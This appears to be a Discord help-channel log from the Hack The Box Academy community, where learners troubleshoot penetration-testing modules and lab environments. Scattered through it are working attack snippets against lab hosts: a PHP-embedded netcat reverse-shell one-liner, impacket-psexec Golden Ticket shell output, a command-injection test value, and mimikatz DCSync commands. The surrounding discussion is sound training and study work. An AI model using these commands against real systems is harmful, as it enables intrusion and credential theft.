modules

[quartz jacinth]

i consider this a both valid and satisfying answer , good night 😂

[upper ruin]

[fathom pendant]

don't use kali so i couldn't say any major or minor differences

[upper ruin]

I really want to try out arch

Or "commando vm"

Looks funky

[quartz jacinth]

ill try out the command on pwnbox for peace of mind

[quartz jacinth]

i just used it because my friend who is doing the oscp uses it , no particular reason

[fathom pendant]

make sure to turn off the vpn on your system

OSCP basically requires you to use kali for the exam

while yes you can use another OS, they don't provide technical support for other OS, since Kali is their own OS

[quartz jacinth]

im gonna keep using kali if that's the case , if the cpts wasnt HR friendly in my country i might take the oscp

the exam voucher not the full course

gotta troubleshoot the problem im having if thats the case

[fathom pendant]

i mean either way OSCP is gonna cost ya $1700

[quartz jacinth]

the voucher is 600$ i think my friend told me

[fathom pendant]

haven't seen anywhere for that

but this is getting off-topic

[quartz jacinth]

i think your right i cant find anything related

[fathom pendant]

#careers-and-certs

[quartz jacinth]

Thank you for your time marciel

[lusty thicket]

you're chasing a unicorn

[reef slate]

?

[safe star]

you're chasing a unicorn

[fathom pendant]

#rules no one is selling or buying things here

don't make me tap the sign

i deleted your message the first time

it has 0 to do with https://academy.hackthebox.com

[lusty thicket]

the only thing we're buying is modules 🙏

[safe star]

type shi

[fathom pendant]

for those that may have been wondering how i organize things in canvas; this is for the nibbles sections of the Getting Started module
Color Coding

• Green - question
• Blue - Info
• Orange - Potential Vulns
• Yellow - Flags
• Red - exploit vulns/vector and user/root access
• Lime is leaps in logic

[honest crane]

AD Attacks - Domain Trusts: Child to Parent (Linux)

Did the Golden Ticket, exported the .ccache file, and impacket-psexec works fine:

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 172.16.5.5.....
[*] Found writable share ADMIN$
[*] Uploading file CKaNBMZk.exe
[*] Opening SVCManager on 172.16.5.5.....
[*] Creating service GHZv on 172.16.5.5.....
[*] Starting service GHZv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> 

But I can't get Netexec to work:

SMB         academy-ea-dc01.inlanefreight.local 445    ACADEMY-EA-DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         academy-ea-dc01.inlanefreight.local 445    ACADEMY-EA-DC01  [-] INLANEFREIGHT.LOCAL\ from ccache KDC_ERR_C_PRINCIPAL_UNKNOWN

What am I missing here?

[waxen totem]

--use-kcache is separate from -k iirc

[honest crane]

I've only used --use-kcache ?

Wait, how do you PTT via Netexec then?

[waxen totem]

I mean there's a -k flag in nxc

[honest crane]

-k flag is for credentialed auth in Kerberos, not ticket auth.

I'm following its Wiki

[waxen totem]

it is? I never had to put in credentials when I used it before

[honest crane]

Okay, I don't get this:

SMB         LOGISTICS.INLANEFREIGHT.LOCAL 445    ACADEMY-EA-DC02  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-DC02) (domain:LOGISTICS.INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         LOGISTICS.INLANEFREIGHT.LOCAL 445    ACADEMY-EA-DC02  [+] LOGISTICS.INLANEFREIGHT.LOCAL\hacker from ccache (Pwn3d!)
➜  ad-enum nxc smb INLANEFREIGHT.LOCAL --use-kcache         
SMB         INLANEFREIGHT.LOCAL 445    ACADEMY-EA-DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         INLANEFREIGHT.LOCAL 445    ACADEMY-EA-DC01  [-] INLANEFREIGHT.LOCAL\ from ccache KDC_ERR_C_PRINCIPAL_UNKNOWN 

Its wiki says:

when using the option -k or--use-kcache, you need to specify the same hostname (FQDN) as the one from the kerberos ticket

But how do I auth to the parent domain?

[fathom pendant]

-k uses kerberos authentication mechanisms which may prompt for credentials if no tickets are available to use

[honest crane]

I've tried -k, --use-kcache, and combination of both just for good measure

[fathom pendant]

but yeah weird NXC doesn't work when the same ticket works with psexec

maybe raise the issue on the nxc gh or gitlab whatever they're using now ¯_(ツ)_/¯

why aren't you supplying a username?

:P you at least need to supply that

[fathom pendant]

in this you specified domain/user@server
but in nxc you just attempted to use the server without telling it the user you're trying to auth as

[honest crane]

I don't think so, it's wiki uses just the flag:

https://www.netexec.wiki/getting-started/using-kerberos

[fathom pendant]

hmm

¯_(ツ)_/¯

also trusts aren't always bidirectional

[honest crane]

This one is

Anyway, the issue is with how the ticket is created with the impacket-ticketer

[fathom pendant]

been a minute since i've done it but when it comes up in my cleanup i'll get back to you on it; trying not to pull myself in 20 directions

[honest crane]

https://github.com/Pennyw0rth/NetExec/pull/510

It appears to be a bug in Netexec that prevents support for trust authentication.

[uneven niche]

nvm I'm really stupid. I just figured it out. Literally just had to read my question to see what the problem was..

[fathom pendant]

redid my notes a bit decided to mess around on the Getting Started Skill Assessment, found an alt way in without metasploit 😎

a common sentiment around here

[fathom pendant]

that module is above tier0 so avoid spoiling content and potential solutions😉

[uneven niche]

Sorry!! Won't happen again

[fathom pendant]

taps the sign

but glad reading comprehension is always a solid issue in the hacking world... it's happened to me a fair few times
"root directory" vs "filesystem root"

or "authenticate to" instead of a direct "ssh, rdp to"

[shrewd tree]

BWS

[fathom pendant]

Bless you

[oak girder]

hello

@fathom pendantI would like to ask

Is it that the entrance machine will be closed after 2 days?

[safe star]

yeah the pwnbox lasts 2 days

[fathom pendant]

Yes

The lab has a timer as well it's not the full length of the exam time

I suggest instead of asking on discord consult with support

They do work on weekends

[oak girder]

Good

[fathom pendant]

Just at a lower capacity

They will be able to answer your questions

[oak girder]

Is that the question here?

[safe star]

https://help.hackthebox.com/en/articles/9561479-academy-certifications#h_04fbc4f183

pwnbox lasts 4 days

[fathom pendant]

ask a question

[oak girder]

OK thanks

[fathom pendant]

Anyway gl with your exam

When you hit "start exam" you have exactly 10 days [cpts, cwee, cape] or 7 days [cbbh, cdsa] to complete the exam and submit the report

[fathom pendant]

please don't reveal information about higher tier modules

also the error is evident; you're trying to do this
ls -la cat /file
look carefully for your error 😉

[rapid fog]

so it is a typo for evidence that I have use the sqli to create the file

as my concern that it is permission denied

[fathom pendant]

either way it's an advanced module; please consider rephrasing your question and redacting screenshots:
Spoilers would be

• anything you had to look for
• anything you had to do specifically to exploit
  other than that not sure how to help you since i haven't done this module

taps the sign

[rapid fog]

It is okay cuz I think it is error from the application itself

[fathom pendant]

¯_(ツ)_/¯

lmao in all my goofing around on the nmap hard assessment; only triggered the alert 6 times +/- the alert when i curled the status page

[silk dome]

Hey folks. I'm doing the knowledge check in the getting started of the penetration tester path. Its a getsimple target.
I have found the admin hash and am able to login to the box.
I have found a vulnerability with the theme template.
This is where I am stuck. I can confirm remote code execution with <?php system('id'); ?>
I cannot get a remote shell however.
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9443 >/tmp/f"); ?> and i'm listening on my attack box with nc -lvnp 9443
When I reload the theme and refresh the site, the page doesn't load. Any hints what I might be missing ?

[fathom pendant]

Did you replace 10.10.14.2 with your tun0 address

[silk dome]

Thats it. I was using the eth0 address. Thank you.

[lone locust]

WOW thnx, I used Stat TAB and then Hierarchy and the number of ARP Packets apear. Thnx have a nice day

BTW how can I earn HACKER level on HTB??? 😬

[acoustic owl]

https://help.hackthebox.com/en/articles/5185158-introduction-to-hack-the-box

[eternal tusk]

Hey Folks, has anyone completed this Job Role Path?

[hidden current]

i have a question about the paid courses on HTB academy; are they of better quality than the free ones? The free ones feel like any random tutorial you can just find by using a search engine

[hasty mauve]

I don't know what exactly are the free ones, but from what I saw with the Pentester Job Role Path yes the course is of a very high quality.

[hidden current]

free ones cost 10 cubes and reward 10 cubes

[fathom pendant]

it's not like they recycle content but better for the paid content. The reason the paid content is paid is because they are a higher level of understanding of a topic, and thus require more effort to create content for

and very much worth it

[ripe verge]

Hi all,
Can someone help me with the "Wired Equivalent Privacy (WEP) Attacks" in the "Skills Assessment"? (https://academy.hackthebox.com/module/185/section/1941)
In the last question it states "Connect to the WiFi network using the found key and retrieve the flag from 192.168.1.1". I am able to connect to the wifi, but I don't know how to find the flag at 192.168.1.1. Could someone help me? What am I looking for? How do I find it?

[spiral sapphire]

Hello! I'm doing the linux fundamental module and I'm on the user management section and I test the commands they teach on the target machine I did the "sudo cat /etc/shadow" and I got a message on the terminal "htb-student is not in the sudoers file. This incident will be reported." Does it mean I can get banned for this? I literally just copied the exercise? What does this mean?

[fathom pendant]

no you won't get banned

that's a standard linux info message

just means that the user, for this lab, doesn't have sudo permissions

you won't always be able to replicate 100%

sometimes the examples are good for information, but won't be practiced on the lab

[spiral sapphire]

Okay, thanks! Got worried for a minute haha.

[fathom pendant]

you won't get banned on academy unless you violate the terms of service

did you try logging in as bonni first?; you need to use the name not the IP

[spiral sapphire]

Got it, the standard linux info message is scary tho. Newbie like me can think it's HTB machine's own warning message.

[agile imp]

yes I did. but but event is not generated..

[fathom pendant]

i mean it is the machine's warning message, technically

[fathom pendant]

so when you attempted with bonni's credentials, you tried against DC1.inlanefreight.local, not the IP of the DC

[agile imp]

I tried against the IP of DC1

[fathom pendant]

using the IP generates a different logon failure event, as it falls back on a different auth type

[fathom pendant]

then you did the wrong thing

:)

[agile imp]

okay... great.. I try this ..

[agile imp]

can you explain this more??

@fathom pendant : this error is generated.

[fathom pendant]

i mean it's as simple as that

just use DC1 instead

not the fqdn

i misspoke on that one

[fathom pendant]

instead of going through kerberos authentication (server), it falls back on windows authentication (local)

since you're connecting specifically to an IP and not a named device on the network

(even though they're the same device)

[agile imp]

Yes i did..

[fathom pendant]

which is why it can fail faster lol

because it doesn't reach out to the krb server

[agile imp]

okay great.. thank you @fathom pendant

[reef dragon]

can someone help me am trying to learn a bit about linux fundamentals and am stuck at a question on directorys hares the question What is the name of the hidden "history" file in the htb-user's home directory? how do i find it

[fathom pendant]

ls --help

one of the options there will help you discover all files, including hidden ones

[reef dragon]

thx 🙂

[fathom pendant]

alternatively man ls

[sand sedge]

i have in a module that have a ip site and i used the zaproxy to enter in with hud and click on break
when i sent a request with ip=;ls; nothing is happens

when i see the responce i see only the html code and css

[fathom pendant]

what is the module and section name

[ripe verge]

Please, if someone has an idea, as I've been at this for many hours now and I'm running low on ideas

[sand sedge]

https://academy.hackthebox.com/module/110/section/1048

[bright coral]

Basically the question says what to do. Access the IP with a browser / curl / wget / python / whatever

[fathom pendant]

i used burp for this instead of zap

[inner folio]

fix this module pls: https://academy.hackthebox.com/module/51/section/1777

[fathom pendant]

not sure what's broken

[ripe verge]

Thank you so much!!!! Worked with wget! I tried using curl, but the environment doesn't have internet access and doesn't have curl installed, no browser I could find and xdg-open didn't help either

[ripe verge]

is wget default on most linux systems?

[fathom pendant]

yes

curl should also be default installed

[ripe verge]

Nice, I'll take note of that

[ripe verge]

I thought so too, but it's an unknown command to the machine and when I ssh to the machine it has no internet access, so I can't fetch it (tried, but it's not able to establish an internet connection to get it. Also unable to ping basic stuff like google etc. so felt kindda stuck). I was trying to get a remote desktop working over ssh to try and see if I could in that way get a browser

[cyan lark]

Hey. I'm at the XSS module on the skills assessment section.

I have a WordPress website with a search bar which reflects search input, I couldn't get a reflected XSS attack through that.
There's also a a post comment form, however not only does it pass through POST, but it doesn't cause stored xss since comments don't actually get uploaded.

Any clues?

[fathom pendant]

i'm finding the correct answer on my end

not sure what needs to be corrected without you further explaining what your skill issue is

[fathom pendant]

the search may be a red herring

[bright coral]

RDP over SSH? All the targets for the WIFI modules have RDP exposed.

[inner folio]

It looks like he's purged the site, maybe it's my problem

[fathom pendant]

?

[cyan lark]

I see. Yeah I thought about the comments mainly, only thing I got is a call through a specific parameter, but how can I send a malicious link to perform that request when it's a post request?

[inner folio]

I see the site like this, I can't continue with the form

[fathom pendant]

you can't post screenshots in this channel without linking your account

[fathom pendant]

the request type doesnt matter

[fathom pendant]

the page loads fine for me, disable adblock or any extensions and refresh the page with ctrl+shift+r

[cyan lark]

Meaning I can send the parameters with a get request too?

[fathom pendant]

ye

but that really doesn't change how you'd test for the right payload

you just do the multi-form test that one of the sections taught you how to do

and work from there

[cyan lark]

No yeah, I got a blind injection

[fathom pendant]

work off that 😉

read the question VERY carefully

it's asking for the flag COOKIE

[near rock]

Very cookie.

[ripe verge]

True, through the browser, but that machine is different from the one the task wants you to ssh to. It is not on the correct network and doesn't have the files that the tasks reference to. To get to them you have to get the vpn file to enter the network and then ssh to the correct machine (which is kind of a hassle)

[bright coral]

What are you talking about? You connect to the VPN and then you can RDP to the machine (it even says so above the question).

I did all those modules and did not even use SSH once

[fathom pendant]

just ran through and it works as expected with the right payload

[cyan lark]

I have a payload, problem is its in a post request.

[ripe verge]

How did you RDP to the machine? Through the Pwnbox on the site? If so how?

[bright coral]

I used my own VM connected to the VPN. Then spawned the target in the section and used xfreerdp /u:wifi /p:wifi /v:<TARGETIP> to access the target. In case you use the pwnbox, you don't need the VPN and can RDP right in.

[fathom pendant]

you're focusing on the wrong thing

the session hijacking portion has all the info you'll need

i didn't make or modify any bits of payload *aside from port

just copy/pasted

[agile imp]

why this is happening? I run same command as mentioned in module.

[bright coral]

Looks like you are running the command in the wrong context. The user does not have the necessary permissions for DCSync

[fathom pendant]

privilege::debug

[cyan lark]

Ohh I got it 🙏 @fathom pendant

But who's cookies did it get, I haven't understood that part.

[fathom pendant]

read the webpage

[agile imp]

Then what should I do? they gave me only this account

[cyan lark]

Ahhh.

[fathom pendant]

😉

[cyan lark]

That's why
Thanks man @fathom pendant

[fathom pendant]

this is why you need to pay attention to the full context; and not just narrow in

[cyan lark]

You're right 😉

[fathom pendant]

can you run as admin?

(also helps to provide the module and section name)

[ripe verge]

Ah okay, I've been trying to use their pwnbox (as I'm in the process of setting up an old laptop with linux for future use). Though with pwnbox I still need the vpn as the pwnbox itself is not on the same network as the spawned target

[fathom pendant]

yes it is

the pwnbox absolutely spawns with the same vpn config you selected

that's how it works

[ripe verge]

I get the message "ssh: connect to host 10.129.231.118 port 22: No route to host". From arp-scan it doesn't appear in the list

[fathom pendant]

that's odd

you're using the academy pwnbox yeah?

[ripe verge]

it's been my biggest problem through out hackthebox courses

Yes

[fathom pendant]

i'd reach out to support tbh

because i've never had that issue

[agile imp]

Yes I am but still same issue.

Module Name : Windows Attacks & Defense
Section: Golden Ticket

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[fathom pendant]

privilege::debug

[ripe verge]

okay thanks, I did think it was odd that I had to do it in such a convoluted way

[agile imp]

How?

[storm charm]

I am working on the ExtarSids attack from the AD module and I created a golden ticket but cannot go across domains with Mimikatz like the module says I should be able to. Whenver I run lsadump::dcsync /user:INLANEFREIGHT\lab_adm in mimikatz I get an error

[fathom pendant]

in mimikatz

[agile imp]

@fathom pendant

[bright coral]

How did you solve the previous section? Re-read that one and you should have the necessary credentials

[near rock]

Man, some of these modules are getting difficult.

[fathom pendant]

You haven't even scraped the hard ones

Since the job role path for the basic exams top out at t2, the advanced at t3

[agile imp]

Thank you!

[near rock]

Well it’s partially that I’m just getting used to some of these commands.

[rough comet]

Hi. I was working on AD Enum and Attacks - Privilege Access. For the MSSQL quertion. I was not able to ssh to the Linux attack box. I was planning to use mssqlclient. I grabbed the flag, but from the Windows box. Is this the intended way?

I can't ssh to ACADEMY-EA-ATTACK01. It is not accepting the given password.

[thorny hamlet]

Hey gang - pulling my hair out at the skills assessment for win lat movement.

Can't connect to the VNC server on backup host. Followed the solution and still can't figure it out.

Any help is appreciated.

[rugged yacht]

Got all my phishing pages set damnn took me years 😭😭

Hack the box is fake fr never teaching you how to make money smh

[viral mica]

[quartz lagoon]

cringe asl

[ocean night]

How is it fake? We provide the teaching material and environment to learn the skills you need in order to break in to the field of security. The step of making money with that knowledge, that's up to you I'm afraid, but it usually involves looking for open positions of relevance, or working on bounty programs.

We're open to feedback always, but "it's fake".. 🤷‍♂️

[quartz lagoon]

he's trolling

[ocean night]

You don't say

Never hurts to ask

[quartz lagoon]

he wants to sound edgy or something

i don't think you'll get anything remotely constructive coming out of him tbh

[ocean night]

No, neither do I, but if they are expecting HTB to provide knowledge how to make money through unethical means, and respond as such, then we know.

Of course they won't respond like that now, now that I've said that

but I'm assuming as much 🤣

[quartz lagoon]

lmao

[jaunty lodge]

Hey guys, I need some help here. Although it may be a silly question, I actually consider it to be a trick question. It is about the module: introduction to penetration testing.
the question is: which domain of testing is the most fundamental for every penetration tester (format: three words)
but I really consider that cannot be answered with just three words

[onyx jolt]

Anybody know where I can get help with the web fuzzing module??

[cloud urchin]

here, just ask your question

[daring cliff]

PKI - ESC1
Then we can execute the openssl command mentioned in the output of Certify.

user @htb[/htb]$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

i didnt enter this command i have answer like this
could not read private key cert.pem

[cloud urchin]

@brazen knot Try to ask your question without showing content of the module. That said, make sure you perform all the steps. Looks like you didn't set your payload in metasploit. you didn't post how you created the payload so make sure that's correct too.

[barren valve]

Hello would anyone be able to help me with this not sure what I'm doing wrong tbh I cannot pull up the website I'm also still new to Cybersecurity.

Navigate to the bottom of this section and click on Click here to spawn the target system!

Now, navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on "Dashboard".

thank you

[daring cliff]

open vpn

[brazen knot]

sorry about that, it was because i didn't set the payload on ms, thank u!

[fading atlas]

Hi Guys has anyone done Advanced XSS and CSRF Exploitation Skills Assessment, i am stuck on that for days, or does anyone knows where i can get hint, Thanks in advance.

[cloud urchin]

what's your question

please refrain from posting content from the module and just ask your question

you error said url not found, try the full url

[fading atlas]

Alright noted

[fading atlas]

If i use the full url i don't a call back from the victim

[cloud urchin]

i'm not sure it matters, but usually people use the exfil server i think

[fading atlas]

I don't know if i am not supposed to host the payload on my exploit server, i tried hosting on my local http python server, but still not working

[cloud urchin]

I would review your payload, i think it's missing some things like the msg var

[thorny hamlet]

Don't have a definitive answer for you, but could be something as simple as the permissions available to the user you're authing as.

[fallen turret]

What do you recommend for those who are starting out in the world of cybersecurity, I want to study through hack the box.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fallen turret]

Thanks!!!!

[fading atlas]

Hi, sorry for disturbing, any hint?

[fallen turret]

Is it possible to become a good blue team in the world of hacking/cybersecurity, using the hack the box platform for free?

[ocean night]

I'd advise re-reading the module / section content. That is a tier 3 module, and hints, spoilers or other such is not permitted (read the channel subject)

Same to you @rustic sage, please.

[ocean night]

There's an amount of blue team content available, I can't say honestly how much, but it's spread across Academy and the Labs IIRC. For free? Not sure about that, depends on prior experience and how you are with using the knowledge available to you I suppose.

But you can at the least get an idea for what the role may entail

[fallen turret]

Oh okay, thanks!

[ocean night]

https://www.hackthebox.com/blue-team-upskilling

[fading atlas]

I thought it is permitted to get little hint when you get stuck on something, there is definitely something i am doing wrong, i have solved all the lab without getting help from anywhere, and on this i have done the difficult part by exploiting the client side open redirect to promote my user, i just need a little help, i thought that's the main reason for this channel.

[ocean night]

Right, I'm just saying spoilers etc, not allowed. Someone may give you a nudge, or get you to ask yourself the right questions to get to the answer (which I suppose comes under indirect hints)

Just wanted to clarify about the direct hints and spoilers part

SuperNuts already gave you a bit of a hint also

If you're still uncertain, the best advice I can give is to give the material another read over, see if you missed something

[fading atlas]

Alright

[vast kite]

Hey ya'll im new here and to Linux. Getting the foundations down with Python and linux in between days of gaming etc. But as I am now over halfway through the linux fundamentals there are so many tools and commands and switches this seems like a ton to commit to memory. would it be worth making written notes or just stick with knowing the -h and man commands for said tools?

[cloud urchin]

i'd strongly suggest making good notes. also writing stuff down helps with memory retention immensely.

[acoustic sparrow]

you will practise and remember the ones that you used the most often for the ones you use rarely make good notes

[vast kite]

Ok cool appreciate the input. I have noticed the deeper I've gotten the more I have went back and lookes at older commands and tools. Even went out to look up other ways of searching for certain files (Not the answers directly).

[still edge]

hi guys i'm trying to upload a file from window powershell to my kali linux through Raven. Powershell return an error

Exception calling "GetResponse" with "0" argument(s): "The underlying connection was closed: The connection was closed
unexpectedly."

[lusty thicket]

listen on 0.0.0.0

[still edge]

i still have the same error

[still edge]

do i need to change something in the scripts of raven ? or is there something i'm doing wrong ?

[lusty thicket]

maybe

test with curl locally

[still edge]

i can do the upload from a web browser when i go to the ip

[zealous sandal]

anyone can help me in the File Upload Skill Assessments? im doing the XXE to grab the content of upload.php but only I receive the 500 code

[safe star]

Why are you adding another url?

[still edge]

i'm wondering why i cant make the upload from powershell with raven but it work with the browser

[zealous sandal]

I put it because I saw it in a blog, when I put the script.js if I get the answer in base64 but when I want to enter a folder and see the upload.php file I can never see it.

[safe star]

But isn’t script.js publicly accessible?

They give you the example in the module

You’re already in the contact directory

Just specify the upload.php

[cloud urchin]

that's a tier 2 module guys

[zealous sandal]

I feel like an idiot, I never thought I would be in the directory, I didn't even try it, I went straight to it without doing it, thank you.

[fathom pendant]

the attack box has separate creds from the windows box

[zealous sandal]

@safe star can I dm u for no spoilers here for the final part of the File Upload ?

[safe star]

yheah

[zealous sandal]

I text u

[glossy cloak]

find / -type f -user root -name *.conf -size -28k -size +25k -newermt 2020-03-03
hey, is there something wrong with my command line? I get "permission denied"

[fathom pendant]

Add 2> /dev/null to the end

Whenever you do a recursive search through filesystem root, you need to add that -- otherwise you'll get flooded with errors for one reason or another

Permission denied == you don't have the right user or group privileges to see something i.e. /root/

[glossy cloak]

hmmm I dont know why it didnt work the first time... now it did. thanks!

[fathom pendant]

it did work the first time;
2> is an error redirect
/dev/null is the void of linux
2> /dev/null redirects the errors to the linux void

[reef marlin]

https://academy.hackthebox.com/module/115/section/1106

last question i get the shell and hostname MS.. and its telling me wrong answer

is it bugged?

[cloud urchin]

no i got a different answer

[cloud urchin]

make sure you're connected to the right target

should be a win 10 computer

[reef marlin]

tf

[cloud urchin]

also don't post spoilers please

[reef marlin]

my bad ill reset target something prob wrong with vm

i think it spawned a box from a previous module which is weird

[rough comet]

where are those? I do not see that being mentioned anywhere

[reef marlin]

yup i reset the box and its a complete different box idk what happen there lmao

[fathom pendant]

Intro page gives creds, along with any of the linux based sections

[mighty magnet]

hi

[rocky cypress]

I have consistent RDP issues with the Unconstrained Delegation - Computers section of the Kerberos Attacks module. I have had issues connecting from my own personal vm and then using the pwn box. Anyone experiecing the same?

[cloud urchin]

are you on the vpn at the same time you have the pwnbox spawned?

[rocky cypress]

i am, but i can hop off and retry if that messes up anything

[cloud urchin]

that's why. the pwnbox uses the same vpn as your vm. it's gonna cause conflicts with 2 devices competing for the same IP.

use one or the other

[rocky cypress]

kk retrying now..

[rocky cypress]

having same issue i had from my personal box

[cloud urchin]

After shutting down the pnwbox i'd probably restart the target and reconnect to the vpn for good measure then try ~5 mins after respawning the target

[rocky cypress]

im sorry. i wasn't clear. I mean i tried from the pwnbox and got that error. I'm restarting everything though. the target and pwnbox and will try from the pwnbox one more time.. but tbf, this is the same issue last week -- but ended up moving on to another module in its stead 😦

[cloud urchin]

if it continues then i'd try changing regions ie. US -> EU or vice versa

[swift warren]

I’m on the same module and section and it is working fine for me

[valid nest]

Not gonna lie. HTTP smuggling is making me cry

[safe star]

Just put the http in the bag bro…

[lusty thicket]

just put the request in the bag bro

[storm elk]

Did it get intercepted?

[vast coral]

What is the FQDN of the host where the last octet ends with "x.x.x.203"? Does anyone know how to solve this? I tried brute force cracking, but got no results. It's so frustrating.

[fathom pendant]

Brute force tools will work

It's on a subdomain of a subdomain, make sure to thoroughly enumerate

Fuckin scam bot

[vast coral]

Could you please tell me which tool I should use?

[fathom pendant]

the section gives you a tool to use

¯_(ツ)_/¯

you can specify a sub.domain.htb

[vast coral]

ok,let me try,thanks

[fathom pendant]

i would double check you have all the sub.domains via dig first before trying each out

it will take a few minutes to go through

[bitter ginkgo]

hi there all! does anyone have an issues on sliver-c2, using chisel on their own vm? When I create the extensions, the chisel version states 0.0.0-src and the VM version is 1.10.1.I have tried compiling the .dll's manualling and editing the version but this didn't seem to work? Just seeing if anyone else had something similar?

[fathom pendant]

<@&861185840277487616>

[feral nimbus]

A bit of a weird issue. Tho i'm currently on Attacking Common Applications module on the PRTG section.

The issue is I'm trying to fuzz different password for the found username, however after about 50 request the application almost become non-responsive. I've re spawned the machine multiple times tho every time after about 50 requests the same issue occurs. Any insights on how to go about this?

I've even tried to fuzz at 1 thread but the same results follow.

Question: Attack the PRTG target and gain remote code execution. Submit the contents of the flag.txt file on the administrator Desktop.

[fathom pendant]

you're overthinking

i believe it's default creds, could be wrong though

[feral nimbus]

I've found the credentials they were the same from the module (not the default ones, but from the example), however if the same scenario happens in the exam how should one go about it then?

[fathom pendant]

figure it out; you won't have any examples to go off of in the exam

[feral nimbus]

Yep that's what I'm trying to do. Might be a built in protection in the tool as far as I can tell as it takes exactly 50 requests each time to become unresponsive

[fathom pendant]

¯_(ツ)_/¯

[lusty thicket]

you can always look back at examples during the exam

[fathom pendant]

I moreso meant you don't have an in-exam example, like the modules

Where you can just grab and use

[lusty thicket]

the in exam examples are the modules

[fathom pendant]

Not what I'm meaning at all

What i mean is:
there's no sample credentials you can use or look to
Just hand crafted or otherwise pilfered lists

[lusty thicket]

you mean they expect me to think and gather my own ideas? how dare they

[finite abyss]

Estimated time shown for each module.
For example if it is 3 days, is it 3 * 24 = 72 hours?
Edit: I think this has been asked earlier. Is it 8 hours?
I have a habit of prolonging completion by going deeper than necessary. I am thinking to complete within the estimate so just a rough measure will also help.

[feral nimbus]

Alright seems like that's the case after 50 incorrect login attempts on the application it delays the response time to 35 seconds:
Source: https://kb.paessler.com/en/topic/25523-what-is-overload-protection

Perhaps when the module was being tested the wordlist in use didn't get to 50 request hence the issue was nuance was overlooked

35 seconds check out to be correct as well:

[fathom pendant]

I genuinely recommend ignoring the estimated times, but yes it's 8 hours

[tired atlas]

Ok so I'm on this question

Upload the attached file named upload_win.zip to the target using the method of your choice. Once uploaded, unzip the archive, and run "hasher upload_win.txt" from the command line. Submit the generated hash as your answer.

I ran the hasher upload_win.txt from command prompt, however the hash i got is still not the correct answer

[lusty thicket]

your upload method might have corrupted the file

[tired atlas]

yeah i used ftp

might try smb

[lusty thicket]

awesome

[safe star]

awesome sauce

[stable musk]

Hi! Im doing the Network Enumeration with Nmap module, Im having an issue with the level "Namp Scripting Engine", because I found the flag, but when I send it, it says wrong answer, (I know, maybe is another, but I made all and thats the only answer I found)

[fathom pendant]

if you do echo "<put the flag here>" | md5sum does it match this result?
ac3133022316dc33acba9bcc62709d76

if not then you grabbed the wrong flag

it's on a common port; that's all i'll say

[urban elk]

has any of you taken the famous privesc courses by tib3rius? How does the Linux Privesc module stack up against it? I'm going through it (HTB Academy's that is) right now and it feels like a rollercoaster I have to say

[stable musk]

No it doesnt match :c Thank you so much!

[fathom pendant]

it should go without saying you replaced the brackets as well with that?

you put echo "HTB{VALUE}" | md5sum

[stable musk]

Yes, I did it exactly as its here

[fathom pendant]

just making sure

https://tenor.com/view/2020who-overit-gif-19791586

[waxen totem]

https://tenor.com/view/where-am-i-lost-how-did-i-get-here-gif-18505152

[autumn pilot]

Which module is that?

[stone gorge]

Oh… wrong chat

[autumn pilot]

What?

[stable musk]

Im still trying it, but I only see one answer, can I send you the port and the script for nmap im using where the answer is? (Obviously, in md5sum)

[fathom pendant]

as i said it's a common port; it's not a crazy port

though the script that's run is shown in the example

[stable musk]

I did agressive scan too, and I only see the same answer :_c

[fathom pendant]

🕸️ 🤖

you'll need to do some manual enumeration after getting the script to run

[stable musk]

fc* man I did it jajajaj

thanks!

[valid nest]

Has anyone done HTTP attacks - skill assessment? I would like to have some direction.

[pliant vessel]

No can attk

[barren chasm]

i cannot see endgames section in htb labs (i have vip subscription)

[storm charm]

I am on a windows machine with admin access and I need to get the ntlm hash for a user but I don't have mimikatz or PowerView, I am stuck on how to do it?

[spring horizon]

Anyone that can assist with Windows Priv esc module - Pillaging please? Part with Slack. When I refresh the site with saved extracted cookie in the cookie-editor, I get nada. Am I missing something?

edit... I got it, it was me being dumb.. doh!

[spark fox]

hello. i wanted to ask this in genral chat but i cant send messages there for some reason. i wanted to know if i could buy a hackthebox gift card directly from my paypal balance without connecting a credit card and if i could use said gift card to pay for a student membership (say being able to pay for 6 months membership with $50 gift card)

[acoustic owl]

https://help.hackthebox.com/en/articles/5185500-what-payment-options-are-supported-and-do-you-store-payment-details
It's best to clarify your questions with the support team.
To be able to write in #general read and follow #welcome

[zealous rune]

Hi, i'm on the sqlmap essentials module and doing the exercises in the Attack Tuning section. Something I am struggling to understand is: When we have to use a custom prefix- how do we know what the prefix should be? do we guess a few? or where doe we need to look? this is the subject of question two in the Attack Tuning section

[analog dock]

Gg

[spark fox]

i think you meant to send that to the #bot-commands channel

[analog dock]

And missing the / before identify

[spark fox]

we all started somewhere i guess

[misty current]

DM

[vast forum]

hey can some here can help me in cacade from htb?

I am stuck for more than an hour.

[acoustic owl]

Best to ask in #boxes
If you have no access, read and follow #welcome

[vast forum]

i don't have access

[storm elk]

Read #welcome

Follow instructions. Three simple steps

[zealous rune]

Any advice

[hasty mauve]

No one knows what prefix will work, you just try.

I usually use payloads all the things cheat sheet for this.
Look at their SQL payloads and make a list of possible prefixes

[zealous rune]

Ok thx

[teal sparrow]

can somebody give me a hint for the file upload attack skill assessment been banging my head against this for weeks

[spring horizon]

did you get the upload.php source code?

[teal sparrow]

nope thats what ive been trying i cant find the upload directory

[spring horizon]

from what i remember

• i first tried normal image that will succeed, captured the post request for this upload
• fuzzed in burp which content type is allowed which would allow me to leak the upload.php source. Review Limited File Uploads for this step

dm me if needed

[tight glen]

I made sure there's no whitespaces or anything within the file

